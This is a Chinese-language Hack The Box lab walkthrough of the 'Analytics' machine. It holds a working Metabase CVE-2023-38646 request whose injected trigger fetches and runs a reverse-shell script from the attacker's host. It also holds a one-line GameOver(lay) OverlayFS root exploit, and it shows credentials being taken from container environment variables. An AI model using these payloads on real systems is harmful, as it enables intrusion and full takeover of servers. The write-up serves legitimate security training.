HTB - Analytics
概要
Analytics 是一台難度較低的 Linux 機器,它暴露了 HTTP 和 SSH 服務。對網站的枚舉發現了一個 Metabase 實例,該實例容易受到預身份驗證遠程代碼執行漏洞(CVE-2023-38646)的攻擊。攻擊者可以利用這個漏洞在 Docker 容器內站穩腳跟。在枚舉 Docker 容器時,我們發現其中設定的環境變量包含了可用於通過 SSH 登入主機的憑證。後滲透枚舉顯示,主機上運行的內核版本容易受到 GameOverlay 漏洞的攻擊,可以利用該漏洞獲取 root 權限。
所需技能
- 網站枚舉
- Linux 基礎知識
學到的技能
- Metabase 枚舉
- 用於遠程代碼執行的命令注入
- 內核漏洞利用
資訊收集
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.129.229.224 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Nmap 掃描發現兩個開放的埠口。埠口 22 上運行著 SSH 服務,埠口 80 上運行著 Nginx 網頁伺服器。由於我們沒有任何憑據可以通過 SSH 登入,因此我們將從查看埠口 80 開始。
HTTP
瀏覽埠口 80 時,我們注意到我們被重定向到 analytical.htb。我們將該網域名稱新增到我們的 /etc/hosts/ 檔案中以解析它:
網頁伺服器託管著一家研究和數據分析公司的網站。 在頁面的頂部有一個登入欄位,點擊後會將我們重新導向到 data.analytical.htb 。為了訪問這個頁面,我們也需要把這個子網域添加到 /etc/hosts 檔案中。
我們發現伺服器上運行了 Metabase。Metabase 是一款開源工具,提供強大的數據建模、視覺化與查詢功能。它可以讓使用者輕鬆地建立與分享互動式儀表板、執行即席查詢,並分析來自不同來源的數據。
站穩腳跟
由於我們沒有登入 Metabase 實例的憑據,因此我們嘗試查看版本號,看看是否能找到任何漏洞。
我們發現運行的 Metabase 版本是 v0.46.6。根據這個部落格文章指出,該版本容易受到預驗證遠程代碼執行漏洞 CVE-2023-38646的攻擊。這個漏洞之所以存在,是因為使用者可以存取一個名為 setup-token 的特殊令牌,其用於完成設定過程。即使設定完成後,令牌也仍然保持活動狀態,並可能被未經授權的使用者存取。 攻擊者可以利用這一點,通過向 /api/setup/validate 端點發送自訂化的 POST 請求來潛在地實現代碼執行。
我們可以在/api/session/properties 端點存取並搜尋 setup-token 來找到此令牌。
有了設定令牌,我們就可以向 /api/setup/validate 端點發送 POST 請求,從而實現遠端程式碼執行。
注意
Metasploit 已經釋出了自動化這個漏洞攻擊的模組,不過我們將會手動示範整個流程。若要使用 Metasploit 模組,請啟動 msfconsole 並透過以下指令載入:use exploit/linux/http/metabase_setup_token_rce
首先,我們將反向 shell 載荷儲存在檔案中,以便在本地 Web 伺服器上託管
上述這段一行程式碼會在我們目前的工作資料夾中建立一個名為rev.sh 的 Bash 指令碼。我們會利用這個指令碼與漏洞,來初始化與 Netcat 監聽器之間的反向 shell 連線。
既然我們的 Bash 反向 Shell 指令碼已經就緒,那麼就在存放該指令碼的相同目錄下,啟動一個監聽 8081 埠的 Python Web 伺服器吧。
我們將使用以下命令啟動一個 Netcat 監聽器,一旦我們的腳本執行完畢,我們將使用該監聽器與我們的反向 shell 連線進行互動。
最後,我們會參考前面提到的部落格文章,建立一個 POST 請求,從本地伺服器取得反向 shell 並執行它。我們將利用 Burp Suite 中的 Repeater 功能來達成這個目標。
說明
本篇文章不包含 Burp Suite 的使用說明,但有興趣的讀者可以參考 Academy 模組「使用 Web 代理」。
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/jsonSending the request triggers a callback to our webserver, which subsequently sends a connection
back to our Netcat listener.
Content-Length: 566
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sampledatabase.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {curl,10.10.14.70:8081/rev.sh}|bash')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
送出請求後,會觸發我們的 Web 伺服器發出回呼,然後會將連線傳送回我們的 Netcat 監聽器。
我們已經以 metabase 使用者的身份取得了 shell。
橫向移動
很快就會發現我們在一個 Docker 容器中,因為主機名和 / 中存在一個 .dockerenv 文件。
執行 printenv 命令會顯示任何已設定的環境變數。
我們的嘗試成功了,因為我們已經在主機上驗證了 metalytics 用戶。用戶標誌可以在 /home/metalytics/user.txt 中找到。
權限升級
列舉核心版本,我們看到目標使用的是 6.2.0-25。
此外,我們還注意到該box使用 jammy 發行版。
Google搜尋發現,在Ubuntu的OverlayFS模塊中存在一個被稱為GameOver(lay) 的漏洞,並已被指派CVE-2023-2640和CVE-2023-32629兩項漏洞編號。我們目前使用的Ubuntu 22.04 LTS (Jammy Jellyfish) 版本6.2.0 被列為受影響的版本之一。
OverlayFS 作為一種聯合檔案系統,允許檔案系統的層層堆疊,使修改檔案的操作不必影響到底層的檔案系統。這項功能在Docker容器的應用上非常實用,可以在維持基礎映像不變的情況下,將修改內容獨立置於另一個圖層。然而,OverlayFS的彈性也引入了一些潛在的安全風險,使用者可能會利用覆蓋的方式來繞過特定檔案系統的限制 (例如nodev或nosuid等掛載選項)。為此,目前也已經有一些概念驗證(PoC)腳本被發布,其中以下這個一行命令就能夠讓我們取得root權限的shell:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
根目錄旗標可以在 /root/root.txt 檔案中找到。